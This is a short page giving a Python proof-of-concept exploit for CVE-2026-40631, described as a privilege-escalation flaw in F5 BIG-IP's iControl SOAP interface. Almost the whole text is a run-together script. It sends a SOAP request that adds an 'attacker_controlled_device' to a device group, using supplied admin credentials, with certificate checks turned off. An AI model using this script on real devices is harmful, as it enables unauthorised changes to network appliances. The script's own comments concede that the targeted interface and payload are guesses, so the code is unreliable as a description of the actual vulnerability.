CVE-2026-40631 F5 BIG-IP iControl SOAP权限提升漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-40631: F5 BIG-IP iControl SOAP Privilege Escalation # Note: This requires valid high-privileged credentials (Resource Admin or Admin) import requests import sys # Disable SSL warnings for self-signed certificates (common in F5 setups) requests.packages.urllib3.disable_warnings() def exploit(target_ip, username, password): # The iControl SOAP endpoint url = f"https://{target_ip}/iControl/iControlPortal.cgi" # SOAP Headers headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': 'urn:iControl:Management/DeviceGroup' # Example interface, actual target may vary } # Vulnerable SOAP Payload attempting to modify a config object # The specific object and method depend on the exact vulnerability in K000160979 payload = """<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:iControl:Management/DeviceGroup"> <SOAP-ENV:Body> <ns1:set_member_device> <!-- Malicious configuration modification logic --> <device_names> <item>attacker_controlled_device</item> </device_names> </ns1:set_member_device> </SOAP-ENV:Body> </SOAP-ENV:Envelope>""" try: response = requests.post(url, data=payload, headers=headers, auth=(username, password), verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if configuration was modified or privileges escalated.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])